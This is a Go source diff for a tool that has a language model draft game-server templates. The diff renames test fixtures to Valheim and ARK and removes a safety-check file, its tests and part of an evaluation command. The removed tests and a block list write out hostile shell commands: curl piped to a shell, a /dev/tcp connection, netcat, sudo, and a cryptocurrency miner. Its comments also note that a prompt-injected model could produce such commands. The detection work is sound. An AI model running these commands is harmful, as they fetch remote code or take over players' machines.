-	if prompt+answer >= ollamaContext*9/10 {
-		note += ": WARNING, close to the model's context; the start of the prompt may have been cut"
-	}
-	return note
-}
-
 type geminiModel struct{ key, model string }
 
 func (g *geminiModel) name() string { return "gemini " + g.model }

cmd/gbrgames/draft_test.go

@@ -2,16 +2,14 @@ package main
 
 import (
 	"encoding/json"
-	"os"
-	"path/filepath"
 	"strings"
 	"testing"
 )
 
 func TestDraftCompletenessNamesMissingSchemaEntries(t *testing.T) {
-	// A draft that went round in circles: settings in defaultConfig, no configSchema
+	// The Valheim draft that went round in circles: settings in defaultConfig, no configSchema
 	game := map[string]any{
-		"defaultPorts":     []any{"30000/udp"},
+		"defaultPorts":     []any{"2456/udp"},
 		"requiredMemoryMb": json.Number("4096"),
 		"defaultConfig":    map[string]any{"ServerName": "x", "ServerPassword": "", "MaxPlayers": json.Number("8")},
 	}
@@ -46,28 +44,28 @@ func TestUnreadSettings(t *testing.T) {
 }
 
 func TestSavesOutsideVolumes(t *testing.T) {
-	// A real first boot: the game's own files in ~/.config, plus Steam client logs (noise)
-	home := &bootReport{ContainerChanges: []string{
-		"A /home/steam/.config/example-game/adminlist.txt",
-		"A /home/steam/.config/example-game/bannedlist.txt",
-		"A /home/steam/Steam/logs/connection_log_30000.txt",
+	// Valheim's real first boot: its own files in ~/.config, plus Steam client logs (noise)
+	valheim := &bootReport{ContainerChanges: []string{
+		"A /home/steam/.config/unity3d/IronGate/Valheim/adminlist.txt",
+		"A /home/steam/.config/unity3d/IronGate/Valheim/bannedlist.txt",
+		"A /home/steam/Steam/logs/connection_log_2456.txt",
 	}}
-	game := map[string]any{"defaultStartupCommand": "./example_server -nographics -batchmode -world X"}
-	problems := savesOutsideVolumes(game, home)
-	if len(problems) != 1 || !strings.Contains(problems[0], "/home/steam/.config/example-game") || strings.Contains(problems[0], "Steam/logs") {
+	game := map[string]any{"defaultStartupCommand": "./valheim_server.x86_64 -nographics -batchmode -world X"}
+	problems := savesOutsideVolumes(game, valheim)
+	if len(problems) != 1 || !strings.Contains(problems[0], "/home/steam/.config/unity3d/IronGate/Valheim") || strings.Contains(problems[0], "Steam/logs") {
 		t.Fatalf("got %v", problems)
 	}
 
 	// Fixed with a save-directory option under /server
-	game["defaultStartupCommand"] = "./example_server -nographics -batchmode -world X -datadir /server/saves"
-	if p := savesOutsideVolumes(game, home); p != nil {
+	game["defaultStartupCommand"] = "./valheim_server.x86_64 -nographics -batchmode -world X -savedir /server/saves"
+	if p := savesOutsideVolumes(game, valheim); p != nil {
 		t.Errorf("redirected template still flagged: %v", p)
 	}
 
-	// A Proton server's first boot: only Proton's cache, which is not game data
-	proton := &bootReport{ContainerChanges: []string{"A /home/gameserver/.cache/umu-protonfixes/protonfixes_test.log"}}
-	if p := savesOutsideVolumes(map[string]any{}, proton); p != nil {
-		t.Errorf("proton cache flagged: %v", p)
+	// ARK's real first boot: only Proton's cache, which is not game data
+	ark := &bootReport{ContainerChanges: []string{"A /home/gameserver/.cache/umu-protonfixes/protonfixes_test.log"}}
+	if p := savesOutsideVolumes(map[string]any{}, ark); p != nil {
+		t.Errorf("ARK proton cache flagged: %v", p)
 	}
 }
 
@@ -86,80 +84,3 @@ func TestImageUnusable(t *testing.T) {
 		t.Errorf("long run flagged: %q", why)
 	}
 }
-
-func TestDraftCompletenessRejectsSecrets(t *testing.T) {
-	// A draft that couldn't be boot-tested: the password mapped to a CI secret nobody created
-	test := map[string]any{"settleSec": json.Number("120"), "secrets": map[string]any{"Password": "EXAMPLE_TEST_PASSWORD"}}
-	problems := strings.Join(draftCompleteness(map[string]any{}, test), "\n")
-	if !strings.Contains(problems, "test.yaml has 'secrets' (Password)") {
-		t.Errorf("got:\n%s", problems)
-	}
-}
-
-// The model copies the example's format, so it must pass everything a draft has to pass
-func TestExampleTemplateFollowsTheRules(t *testing.T) {
-	dir := filepath.Join(t.TempDir(), "example-server")
-	if err := os.MkdirAll(dir, 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(filepath.Join(dir, "game.yaml"), []byte(exampleTemplate), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(filepath.Join(dir, "test.yaml"), []byte("timeoutSec: 2400\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	gs, err := compileSchema(filepath.Join("..", "..", "schema", "game.schema.json"))
-	if err != nil {
-		t.Fatal(err)
-	}
-	ts, err := compileSchema(filepath.Join("..", "..", "schema", "test.schema.json"))
-	if err != nil {
-		t.Fatal(err)
-	}
-	problems := validateGame(dir, "example-server", gs, ts)
-	g, err := loadMap(filepath.Join(dir, "game.yaml"))
-	if err != nil {
-		t.Fatal(err)
-	}
-	problems = append(problems, draftCompleteness(g, map[string]any{})...)
-	problems = append(problems, splitSettings(g)...)
-	problems = append(problems, portSettings(g)...)
-	for _, p := range problems {
-		t.Error(p)
-	}
-}
-
-func TestDrafterRequestStaysTheSameSizeEveryRound(t *testing.T) {
-	d := &drafter{base: []chatMessage{{Role: "system", Content: "rules"}, {Role: "user", Content: "facts"}}}
-	if got := d.request(nil); len(got) != 2 {
-		t.Fatalf("first request should be the rules and facts only, got %d messages", len(got))
-	}
-	d.last = `{"game":{"id":"example"}}`
-	d.history = []string{"round 1 fixed: defaultPorts is empty", "round 2 fixed: setting X has no title"}
-	got := d.request([]string{"booting your template failed: FAILED: server crashed"})
-	if len(got) != 4 || got[2].Role != "assistant" || got[2].Content != d.last {
-		t.Fatalf("want rules, facts, the latest template and the problems; got %+v", got)
-	}
-	last := got[3].Content
-	for _, want := range []string{"server crashed", "round 1 fixed: defaultPorts is empty", "don't undo"} {
-		if !strings.Contains(last, want) {
-			t.Errorf("missing %q in %s", want, last)
-		}
-	}
-	// However many rounds there were, still four messages: nothing piles up
-	for i := 0; i < 10; i++ {
-		d.history = append(d.history, "another round")
-	}
-	if n := len(d.request([]string{"x"})); n != 4 {
-		t.Errorf("request grew to %d messages", n)
-	}
-}
-
-func TestContextNoteWarnsNearTheLimit(t *testing.T) {
-	if strings.Contains(contextNote(12000, 2000), "WARNING") {
-		t.Error("warned too early")
-	}
-	if !strings.Contains(contextNote(28000, 2000), "WARNING") {
-		t.Error("no warning near the limit")
-	}
-}

cmd/gbrgames/draftchecks.go

@@ -1,401 +0,0 @@
-package main
-
-import (
-	"encoding/json"
-	"fmt"
-	"path"
-	"regexp"
-	"sort"
-	"strconv"
-	"strings"
-)
-
-// Checks a booting draft can still fail: things that only go wrong once an owner changes a setting, so
-// neither the validator nor a boot test with the defaults sees them.
-
-// splitSettings finds text settings that reach the server's command line unquoted, so a value with spaces
-// ("GBRHosting - My Server") arrives as several arguments and the game only sees the first word. Covers
-// direct use (-name ${SERVER_NAME}) and the common ARGS="-name ${SERVER_NAME}"; ./server $ARGS, where the
-// quotes in the assignment don't survive the unquoted $ARGS.
-func splitSettings(game map[string]any) []string {
-	startup, _ := game["defaultStartupCommand"].(string)
-	if startup == "" {
-		return nil
-	}
-	textVars := map[string]string{} // env name -> setting key
-	for key, p := range schemaProperties(game) {
-		if prop, _ := p.(map[string]any); prop["type"] == "string" {
-			textVars[envName(key)] = key
-		}
-	}
-	if len(textVars) == 0 {
-		return nil
-	}
-	s := scanShell(unwrapShell(startup))
-
-	split := map[string]string{} // setting key -> how it gets split
-	var reach func(holder string, seen map[string]bool) []string
-	reach = func(holder string, seen map[string]bool) []string {
-		if seen[holder] {
-			return nil
-		}
-		seen[holder] = true
-		var out []string
-		for _, v := range s.held[holder] {
-			if _, ok := textVars[v]; ok {
-				out = append(out, v)
-			}
-			out = append(out, reach(v, seen)...)
-		}
-		return out
-	}
-	for _, e := range s.uses {
-		if e.quoted {
-			continue
-		}
-		if key, ok := textVars[e.name]; ok {
-			split[key] = "${" + e.name + "} is not in double quotes"
-		}
-		if len(s.held[e.name]) > 0 {
-			for _, v := range reach(e.name, map[string]bool{}) {
-				if _, done := split[textVars[v]]; !done {
-					split[textVars[v]] = fmt.Sprintf("${%s} is inside $%s, which is used without double quotes", v, e.name)
-				}
-			}
-		}
-	}
-	var problems []string
-	for _, key := range sortedKeysString(split) {
-		problems = append(problems, fmt.Sprintf("setting %s is split into words on the command line (%s): a value with spaces like "+
-			"\"GBRHosting - My Server\" reaches the game as several arguments. Quote it where it is used (-name \"${%s}\"), or build "+
-			"optional arguments in a bash array: args=(-name \"$%s\"); [ -n \"$X\" ] && args+=(-x \"$X\"); ./server \"${args[@]}\"",
-			key, split[key], envName(key), envName(key)))
-	}
-	return problems
-}
-
-var shellWrap = regexp.MustCompile(`^\s*(?:ba)?sh\s+-c\s+'(.*)'\s*$`)
-
-// unwrapShell looks inside a startup command that is one bash -c '...', which would otherwise be
-// all single-quoted text.
-func unwrapShell(cmd string) string {
-	if m := shellWrap.FindStringSubmatch(cmd); m != nil && !strings.Contains(m[1], "'") {
-		return m[1]
-	}
-	return cmd
-}
-
-type shellUse struct {
-	name   string
-	quoted bool
-}
-
-type shellScan struct {
-	uses []shellUse          // expansions where the value is used: words, arguments
-	held map[string][]string // variable -> variables its assigned value contains
-}
-
-var (
-	assignWord = regexp.MustCompile(`^([A-Za-z_][A-Za-z0-9_]*)\+?=`)
-	varName    = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*`)
-	nestedVar  = regexp.MustCompile(`\$\{?([A-Za-z_][A-Za-z0-9_]*)`)
-)
-
-// scanShell is just enough of a shell parser for splitSettings: quotes, $VAR / ${VAR...} expansions, and
-// assignments (NAME=..., NAME+=..., NAME=(...) arrays).
-func scanShell(cmd string) *shellScan {
-	s := &shellScan{held: map[string][]string{}}
-	var single, double, wordStart = false, false, true
-	assign, inArray := "", false
-	record := func(name string, quoted bool) {
-		switch {
-		case assign != "" && !inArray:
-			// NAME="...$X..." : no splitting yet, but $NAME carries X along
-			s.held[assign] = append(s.held[assign], name)
-		case inArray && quoted:
-			s.held[assign] = append(s.held[assign], name) // safe unless the array is expanded unquoted
-		default:
-			s.uses = append(s.uses, shellUse{name, quoted})
-		}
-	}
-	for i := 0; i < len(cmd); i++ {
-		c := cmd[i]
-		if wordStart && !single && !double {
-			if m := assignWord.FindString(cmd[i:]); m != "" {
-				assign = strings.TrimRight(strings.TrimSuffix(m, "="), "+")
-				i += len(m)
-				if i < len(cmd) && cmd[i] == '(' {
-					inArray = true
-				} else {
-					i--
-				}
-				wordStart = false
-				continue
-			}
-		}
-		wordStart = false
-		switch {
-		case c == '\\' && !single:
-			i++
-		case c == '\'' && !double:
-			single = !single
-		case c == '"' && !single:
-			double = !double
-		case c == '$' && !single && i+1 < len(cmd):
-			if cmd[i+1] == '{' {
-				end := matchingBrace(cmd, i+1)
-				body := cmd[i+2 : end]
-				name := varName.FindString(strings.TrimLeft(body, "#!"))
-				if name != "" {
-					record(name, double)
-				}
-				// Defaults can hold more expansions: ${A:-${B}}
-				for _, m := range nestedVar.FindAllStringSubmatch(body[len(name):], -1) {
-					record(m[1], double)
-				}
-				i = end
-			} else if name := varName.FindString(cmd[i+1:]); name != "" {
-				record(name, double)
-				i += len(name)
-			}
-		case single || double:
-		case inArray && c == ')':
-			inArray, assign = false, ""
-		case inArray:
-		case c == ' ' || c == '\t' || c == '\n' || c == ';' || c == '&' || c == '|' || c == '(' || c == ')':
-			assign, wordStart = "", true
-		}
-	}
-	return s
-}
-
-func matchingBrace(s string, open int) int {
-	depth := 0
-	for i := open; i < len(s); i++ {
-		switch s[i] {
-		case '{':
-			depth++
-		case '}':
-			depth--
-			if depth == 0 {
-				return i
-			}
-		}
-	}
-	return len(s) - 1
-}
-
-var (
-	portSetting = regexp.MustCompile(`(?i)(port$|(^|_)port(_|$))`)
-	notAPort    = regexp.MustCompile(`(?i)(sup|re|ex|im|trans)port$`)
-	// Reached over the Docker network, never published (AUTHORING.md)
-	internalPort = regexp.MustCompile(`(?i)rcon|rest|api|admin|telnet|web|http|metrics`)
-)
-
-// portSettings checks settings that set a port players connect to against defaultPorts. The node always
-// publishes defaultPorts' container ports (moving only the host side when servers share a node), so a
-// game listening anywhere else can't be reached: a default that isn't published is broken from the
-// start, and an editable one breaks the moment an owner changes it.
-func portSettings(game map[string]any) []string {
-	published := map[int]bool{}
-	ports, _ := game["defaultPorts"].([]any)
-	for _, p := range ports {
-		n, _ := strconv.Atoi(strings.Split(containerPort(fmt.Sprint(p)), "/")[0])
-		published[n] = true
-	}
-	defaults, _ := game["defaultConfig"].(map[string]any)
-	props := schemaProperties(game)
-	var problems []string
-	keys := make([]string, 0, len(defaults))
-	for k := range defaults {
-		keys = append(keys, k)
-	}
-	sort.Strings(keys)
-	for _, key := range keys {
-		if !portSetting.MatchString(key) || notAPort.MatchString(key) || internalPort.MatchString(key) {
-			continue
-		}
-		port, ok := portNumber(defaults[key])
-		if !ok {
-			continue // {PUBLIC_PORT_n} and other placeholders are filled per server
-		}
-		_, editable := props[key]
-		switch {
-		case !published[port]:
-			problems = append(problems, fmt.Sprintf("setting %s defaults to port %d, which defaultPorts does not publish: players can't reach it. "+
-				"Use one of the published ports, or add this port to defaultPorts if players connect to it", key, port))
-		case editable:
-			problems = append(problems, fmt.Sprintf("setting %s lets owners change the port, but the node always publishes container port %d "+
-				"(defaultPorts), so any other value makes the server unreachable. Don't make it a setting: remove %s from "+
-				"defaultConfig and configSchema and write %d directly in the startup command or config file. If the game must "+
-				"announce the port players use, give it {PUBLIC_PORT_%d} instead", key, port, key, port, port))
-		}
-	}
-	return problems
-}
-
-func portNumber(v any) (int, bool) {
-	var s string
-	switch n := v.(type) {
-	case json.Number:
-		s = n.String()
-	case string:
-		s = n
-	case int, int64, float64:
-		s = fmt.Sprint(n)
-	default:
-		return 0, false
-	}
-	p, err := strconv.Atoi(strings.TrimSpace(s))
-	return p, err == nil && p > 0 && p < 65536
-}
-
-var (
-	optionToken = regexp.MustCompile(`(?:^|[\s("'])(-{1,2}[A-Za-z][A-Za-z0-9_.]*(?:-[A-Za-z0-9_.]+)*)`)
-	segmentSep  = regexp.MustCompile(`;|&&|\|\||\||\n`)
-	testOps     = map[string]bool{"eq": true, "ne": true, "lt": true, "gt": true, "le": true, "ge": true, "nt": true, "ot": true, "ef": true}
-	// Options of these are the shell's and its tools', not the game's
-	shellTools = map[string]bool{"mkdir": true, "cp": true, "mv": true, "ln": true, "rm": true, "chmod": true, "chown": true,
-		"wget": true, "curl": true, "tar": true, "unzip": true, "test": true, "[": true, "[[": true, "echo": true, "printf": true,
-		"sleep": true, "find": true, "sed": true, "grep": true, "cd": true, "export": true, "touch": true, "bash": true, "sh": true,
-		"cat": true, "head": true, "tail": true, "ls": true, "set": true, "ulimit": true, "env": true, "id": true}
-)
-
-// undocumentedOptions finds launch options in the startup command that none of the researched pages (nor
-// the image's own scripts) mention. Servers silently ignore options they don't know, so a made-up one
-// boots fine and passes every boot test while its setting does nothing.
-func undocumentedOptions(game map[string]any, docs string, facts *imageFacts) []string {
-	if strings.TrimSpace(docs) == "" {
-		return nil
-	}
-	startup, _ := game["defaultStartupCommand"].(string)
-	corpus := docs
-	if facts != nil {
-		for _, s := range facts.Scripts {
-			corpus += "\n" + s
-		}
-	}
-	seen := map[string]bool{}
-	var missing []string
-	for _, opt := range launchOptions(unwrapShell(startup)) {
-		name := strings.TrimLeft(opt, "-")
-		key := strings.ToLower(name)
-		if seen[key] {
-			continue
-		}
-		seen[key] = true
-		documented := regexp.MustCompile(`(?i)(^|[^A-Za-z0-9_])-{1,2}` + regexp.QuoteMeta(name) + `($|[^A-Za-z0-9_])`)
-		if !documented.MatchString(corpus) {
-			missing = append(missing, opt)
-		}
-	}
-	if len(missing) == 0 {
-		return nil
-	}
-	return []string{fmt.Sprintf("the startup command passes %s, which none of the pages researched for this game mention. "+
-		"Servers silently ignore options they don't know, so it boots fine but does nothing: remove it (and any setting that "+
-		"only feeds it), or spell it exactly as the documentation does", strings.Join(missing, ", "))}
-}
-
-// launchOptions lists the -options passed to the game, skipping the shell's own (mkdir -p, [ -n ... ]).
-func launchOptions(cmd string) []string {
-	var out []string
-	for _, seg := range segmentSep.Split(cmd, -1) {
-		fields := strings.Fields(strings.TrimLeft(strings.TrimSpace(seg), "({"))
-		i := 0
-		for i < len(fields) && (fields[i] == "exec" || fields[i] == "then" || fields[i] == "do" || fields[i] == "else" ||
-			(assignWord.MatchString(fields[i]) && !strings.Contains(fields[i], "=("))) {
-			i++
-		}
-		if i == len(fields) {
-			continue
-		}
-		if word := path.Base(fields[i]); shellTools[word] {
-			continue
-		}
-		for _, m := range optionToken.FindAllStringSubmatch(strings.Join(fields[i:], " "), -1) {
-			name := strings.TrimLeft(m[1], "-")
-			if len(name) < 2 || testOps[name] {
-				continue
-			}
-			out = append(out, m[1])
-		}
-	}
-	return out
-}
-
-// Things a game server's startup or install never needs, and that a prompt-injected or careless model
-// could write. Templates run on players' own machines, so a draft with any of them goes back to the model.
-var unsafePatterns = []struct {
-	re   *regexp.Regexp
-	what string
-}{
-	{regexp.MustCompile(`(?i)(curl|wget)[^|;&\n]*\|\s*(sudo\s+)?(ba|z|da)?sh\b`), "pipes a download straight into a shell"},
-	{regexp.MustCompile(`(?i)base64\s+(-d|--decode)`), "decodes hidden (base64) content"},
-	{regexp.MustCompile(`(^|[^\w-])eval\s`), "runs text as a command (eval)"},
-	{regexp.MustCompile(`/dev/(tcp|udp)/`), "opens raw network connections"},
-	{regexp.MustCompile(`(^|[^\w-])(nc|ncat|netcat|socat)\s`), "uses a raw network tool"},
-	{regexp.MustCompile(`(^|[^\w-])(sudo|su)\s`), "tries to become another user"},
-	{regexp.MustCompile(`chmod\s+([0-7]*[4-7][0-7]{3}\b|[ugoa]*\+[rwx]*s)`), "sets setuid/setgid bits"},
-	{regexp.MustCompile(`(>|\btee\s+(-a\s+)?)\s*/etc/`), "writes to /etc"},
-	{regexp.MustCompile(`(?i)(^|[^\w-])(crontab|systemctl|iptables|mount|insmod|modprobe)\s`), "changes the machine itself"},
-	{regexp.MustCompile(`(?i)xmrig|minerd|stratum\+tcp|cryptonight`), "looks like a cryptocurrency miner"},
-}
-
-// unsafeCommands checks the commands a node runs for a template: the startup command and anything in
-// installConfig (scripts, file downloads).
-func unsafeCommands(game map[string]any) []string {
-	var problems []string
-	for _, text := range commandTexts(game) {
-		for _, p := range unsafePatterns {
-			if m := p.re.FindString(text); m != "" {
-				problems = append(problems, fmt.Sprintf("the template %s (%q). Templates run on players' own machines: a game "+
-					"server never needs that. Remove it; if the server needs a file, install it with installMethod or "+
-					"installConfig.files from the game's official source", p.what, strings.TrimSpace(m)))
-			}
-		}
-	}
-	return problems
-}
-
-var urlRe = regexp.MustCompile(`https?://[^\s"'<>)]+`)
-
-// downloadURLs lists the addresses a template makes nodes download from, for the reviewer to check.
-func downloadURLs(game map[string]any) []string {
-	seen := map[string]bool{}
-	var out []string
-	for _, text := range commandTexts(game) {
-		for _, u := range urlRe.FindAllString(text, -1) {
-			if !seen[u] {
-				seen[u] = true
-				out = append(out, u)
-			}
-		}
-	}
-	return out
-}
-
-// commandTexts is everything in a template that ends up being run or fetched on a node.
-func commandTexts(game map[string]any) []string {
-	var out []string
-	if s, _ := game["defaultStartupCommand"].(string); s != "" {
-		out = append(out, unwrapShell(s))
-	}
-	var walk func(v any)
-	walk = func(v any) {
-		switch t := v.(type) {
-		case string:
-			out = append(out, t)
-		case map[string]any:
-			for _, k := range sortedKeys(t) {
-				walk(t[k])
-			}
-		case []any:
-			for _, e := range t {
-				walk(e)
-			}
-		}
-	}
-	walk(game["installConfig"])
-	return out
-}

cmd/gbrgames/draftchecks_test.go

@@ -1,199 +0,0 @@
-package main
-
-import (
-	"encoding/json"
-	"strings"
-	"testing"
-)
-
-func textSettings(keys ...string) map[string]any {
-	props := map[string]any{}
-	for _, k := range keys {
-		props[k] = map[string]any{"type": "string"}
-	}
-	return map[string]any{"properties": props}
-}
-
-func TestSplitSettingsCatchesAnArgsString(t *testing.T) {
-	// A real draft: quoted in the assignment, split by the unquoted $ARGS
-	game := map[string]any{
-		"defaultStartupCommand": `ARGS="-name ${SERVER_NAME:-Example Server} -port 30000 -world ${WORLD_NAME:-Dedicated}"; ` +
-			`[ -n "$PASSWORD" ] && ARGS="$ARGS -password $PASSWORD"; [ "$CROSSPLAY" = "true" ] && ARGS="$ARGS -crossplay"; ` +
-			`HOME=/server ./example_server $ARGS`,
-		"configSchema": textSettings("ServerName", "WorldName", "Password"),
-	}
-	problems := splitSettings(game)
-	got := strings.Join(problems, "\n")
-	if len(problems) != 3 {
-		t.Fatalf("want ServerName, WorldName and Password, got:\n%s", got)
-	}
-	for _, key := range []string{"setting Password", "setting ServerName", "setting WorldName", "inside $ARGS"} {
-		if !strings.Contains(got, key) {
-			t.Errorf("missing %q in:\n%s", key, got)
-		}
-	}
-}
-
-func TestSplitSettingsAcceptsQuotedAndArrays(t *testing.T) {
-	for _, startup := range []string{
-		`./example_server -name "${SERVER_NAME}" -world "$WORLD_NAME" -port 30000`,
-		`args=(-name "$SERVER_NAME" -world "${WORLD_NAME:-Dedicated}"); [ -n "$PASSWORD" ] && args+=(-password "$PASSWORD"); ./example_server "${args[@]}"`,
-		`bash -c 'exec ./server -name "$SERVER_NAME"'`,
-	} {
-		game := map[string]any{"defaultStartupCommand": startup, "configSchema": textSettings("ServerName", "WorldName", "Password")}
-		if p := splitSettings(game); len(p) != 0 {
-			t.Errorf("%s\n  flagged: %v", startup, p)
-		}
-	}
-}
-
-func TestSplitSettingsDirectAndArrayMisuse(t *testing.T) {
-	cases := map[string]string{
-		`./server -name ${SERVER_NAME}`:                     "is not in double quotes",
-		`bash -c 'exec ./server -name $SERVER_NAME'`:        "is not in double quotes",
-		`args=(-name "$SERVER_NAME"); ./server ${args[@]}`:  "inside $args",
-		`args=(-name $SERVER_NAME); ./server "${args[@]}"`:  "is not in double quotes",
-		`export OPTS="-name ${SERVER_NAME}" && ./run $OPTS`: "inside $OPTS",
-	}
-	for startup, want := range cases {
-		game := map[string]any{"defaultStartupCommand": startup, "configSchema": textSettings("ServerName")}
-		got := strings.Join(splitSettings(game), "\n")
-		if !strings.Contains(got, want) {
-			t.Errorf("%s\n  want %q, got %q", startup, want, got)
-		}
-	}
-	// Numbers and booleans can't contain spaces
-	game := map[string]any{"defaultStartupCommand": `./server -port ${GAME_PORT}`, "configSchema": map[string]any{
-		"properties": map[string]any{"GamePort": map[string]any{"type": "integer"}}}}
-	if p := splitSettings(game); len(p) != 0 {
-		t.Errorf("integer setting flagged: %v", p)
-	}
-}
-
-func TestPortSettings(t *testing.T) {
-	game := map[string]any{
-		"defaultPorts": []any{"30000/udp", "30001/udp"},
-		"defaultConfig": map[string]any{
-			"GamePort":   json.Number("30000"),
-			"QueryPort":  json.Number("27015"),
-			"RCONPort":   json.Number("25575"),
-			"PublicPort": "{PUBLIC_PORT_30000}",
-			"Transport":  "udp",
-			"Export":     json.Number("9"),
-		},
-		"configSchema": map[string]any{"properties": map[string]any{
-			"GamePort": map[string]any{"type": "integer"}, "QueryPort": map[string]any{"type": "integer"},
-		}},
-	}
-	got := strings.Join(portSettings(game), "\n")
-	if !strings.Contains(got, "setting GamePort lets owners change the port") || !strings.Contains(got, "write 30000 directly") {
-		t.Errorf("editable published port not caught:\n%s", got)
-	}
-	if !strings.Contains(got, "setting QueryPort defaults to port 27015, which defaultPorts does not publish") {
-		t.Errorf("unpublished port not caught:\n%s", got)
-	}
-	for _, key := range []string{"RCONPort", "PublicPort", "Transport", "Export"} {
-		if strings.Contains(got, "setting "+key+" ") {
-			t.Errorf("%s should be left alone:\n%s", key, got)
-		}
-	}
-
-	// A published port written by the template itself, not offered to owners, is fine
-	delete(game["configSchema"].(map[string]any)["properties"].(map[string]any), "GamePort")
-	delete(game["defaultConfig"].(map[string]any), "QueryPort")
-	if p := portSettings(game); len(p) != 0 {
-		t.Errorf("got %v", p)
-	}
-}
-
-func TestUndocumentedOptionsCatchesMaxPlayers(t *testing.T) {
-	// A real draft's startup: every option is documented except -maxplayers
-	game := map[string]any{"defaultStartupCommand": `args=(-name "${SERVER_NAME:-GBRHosting - Example}" -port 30000 -world "${WORLD_NAME:-Dedicated}" -datadir /server); ` +
-		`[ -n "${SERVER_PASSWORD}" ] && args+=(-password "${SERVER_PASSWORD}"); [ "${CROSSPLAY}" = "true" ] && args+=(-crossplay); ` +
-		`[ -n "${MAX_PLAYERS}" ] && args+=(-maxplayers "${MAX_PLAYERS}"); ./example_server "${args[@]}"`}
-	docs := "Launch with `-name`, `-port`, `-world`, `-password`, `-datadir <path>` and `-crossplay` to allow consoles."
-	got := undocumentedOptions(game, docs, nil)
-	if len(got) != 1 || !strings.Contains(got[0], "passes -maxplayers,") {
-		t.Fatalf("want only -maxplayers flagged, got %v", got)
-	}
-	// Once removed, nothing is left to flag
-	game["defaultStartupCommand"] = strings.Replace(game["defaultStartupCommand"].(string), `[ -n "${MAX_PLAYERS}" ] && args+=(-maxplayers "${MAX_PLAYERS}"); `, "", 1)
-	if got := undocumentedOptions(game, docs, nil); len(got) != 0 {
-		t.Errorf("got %v", got)
-	}
-}
-
-func TestUndocumentedOptionsIgnoresShellAndUsesImageScripts(t *testing.T) {
-	game := map[string]any{"defaultStartupCommand": `mkdir -p /server/.config; cp -f /a /b; [ -n "$X" ] && [ "$Y" -eq 1 ] && ` +
-		`exec ./server --listen-port=7777 -ServerPlatform=ALL -logs`}
-	facts := &imageFacts{Scripts: map[string]string{"/start.sh": `exec "$@" -logs`}}
-	got := strings.Join(undocumentedOptions(game, "Use --listen-port and -ServerPlatform=ALL for crossplay.", facts), "\n")
-	if got != "" {
-		t.Errorf("shell options, documented ones and ones the image's script uses must pass, got %q", got)
-	}
-	// Without sources the check is off (draft run by hand, or no reader configured)
-	game["defaultStartupCommand"] = "./server -madeup"
-	if p := undocumentedOptions(game, "", nil); p != nil {
-		t.Errorf("got %v", p)
-	}
-	if p := undocumentedOptions(game, "unrelated page", nil); len(p) != 1 {
-		t.Errorf("want -madeup flagged, got %v", p)
-	}
-}
-
-func TestUndocumentedOptionsWholeWords(t *testing.T) {
-	// "-port" in the docs doesn't document "-portal", and "-port" isn't documented by "-portal"
-	game := map[string]any{"defaultStartupCommand": "./server -port 1 -portal x"}
-	got := strings.Join(undocumentedOptions(game, "options: -port", nil), "")
-	if !strings.Contains(got, "passes -portal,") || strings.Contains(got, "-port,") {
-		t.Errorf("got %q", got)
-	}
-}
-
-func TestUnsafeCommandsCatchWhatAServerNeverNeeds(t *testing.T) {
-	bad := map[string]string{
-		`curl -fsSL https://example.com/x.sh | bash`:             "pipes a download straight into a shell",
-		`wget -qO- http://example.com/i | sudo sh`:               "pipes a download straight into a shell",
-		`echo aGk= | base64 -d > run.sh; ./server`:               "decodes hidden",
-		`eval "$EXTRA"; ./server`:                                "eval",
-		`exec 3<>/dev/tcp/203.0.113.1/4444; ./server`:            "raw network connections",
-		`nc -l 4444 & ./server`:                                  "raw network tool",
-		`sudo ./server`:                                          "become another user",
-		`chmod u+s ./helper; ./server`:                           "setuid",
-		`echo x >> /etc/hosts; ./server`:                         "writes to /etc",
-		`crontab -l; ./server`:                                   "changes the machine",
-		`./xmrig --url stratum+tcp://pool.example.com:3333`:      "miner",
-		`bash -c 'curl -s https://example.com/a | sh; ./server'`: "pipes a download",
-	}
-	for startup, want := range bad {
-		got := strings.Join(unsafeCommands(map[string]any{"defaultStartupCommand": startup}), "\n")
-		if !strings.Contains(got, want) {
-			t.Errorf("%s\n  want %q, got %q", startup, want, got)
-		}
-	}
-	// An install script counts too
-	if len(unsafeCommands(map[string]any{"installConfig": map[string]any{"script": "curl https://example.com/i | sh"}})) == 0 {
-		t.Error("installConfig.script not checked")
-	}
-	fine := []string{
-		`args=(-name "${SERVER_NAME}" -port 30000); ./example_server "${args[@]}"`,
-		`mkdir -p /server/saves && exec ./example_server -datadir /server/saves`,
-		`[ -n "$PASSWORD" ] && args+=(-password "$PASSWORD"); ./example_server -evaluation-mode`,
-	}
-	for _, startup := range fine {
-		if p := unsafeCommands(map[string]any{"defaultStartupCommand": startup}); len(p) != 0 {
-			t.Errorf("%s flagged: %v", startup, p)
-		}
-	}
-}
-
-func TestDownloadURLsForTheReviewer(t *testing.T) {
-	g := map[string]any{
-		"defaultStartupCommand": `wget -q https://example.com/tool.tar.gz -O t.tgz && tar xzf t.tgz; ./server`,
-		"installConfig":         map[string]any{"files": []any{map[string]any{"url": "https://example.org/plugin.jar", "path": "plugins/p.jar"}}},
-	}
-	got := downloadURLs(g)
-	if len(got) != 2 || got[0] != "https://example.com/tool.tar.gz" || got[1] != "https://example.org/plugin.jar" {
-		t.Errorf("got %v", got)
-	}
-}

cmd/gbrgames/eval.go

@@ -1,225 +0,0 @@
-package main
-
-import (
-	"encoding/json"
-	"errors"
-	"flag"
-	"fmt"
-	"os"
-	"path/filepath"
-	"regexp"
-	"sort"
-	"strings"
-	"time"
-)
-
-// eval measures the builder: it builds games that already have a working template from scratch (research,
-// first boot, draft, boots), without opening a pull request and without the builder seeing that template,
-// and scores each draft against the merged one. Run it before and after changing the builder or the model
-// to see whether the change helped.
-
-type evalScore struct {
-	Game        string   `json:"game"`
-	Boots       bool     `json:"boots"`
-	SameRoute   bool     `json:"sameRoute"` // same image, and same Steam app when installed with SteamCMD
-	PortsSame   bool     `json:"portsSame"`
-	PortsDiff   []string `json:"portsDiff,omitempty"`
-	ReadyMatch  bool     `json:"readyMatch"` // the draft's readyPattern matches the real server's ready line
-	Settings    int      `json:"settings"`
-	SettingsHit int      `json:"settingsHit"` // of the real template's settings, how many the draft has too
-	RealSetting int      `json:"realSettings"`
-	Rounds      int      `json:"rounds"`
-	Minutes     float64  `json:"minutes"`
-	Error       string   `json:"error,omitempty"`
-}
-
-func runEval(args []string) error {
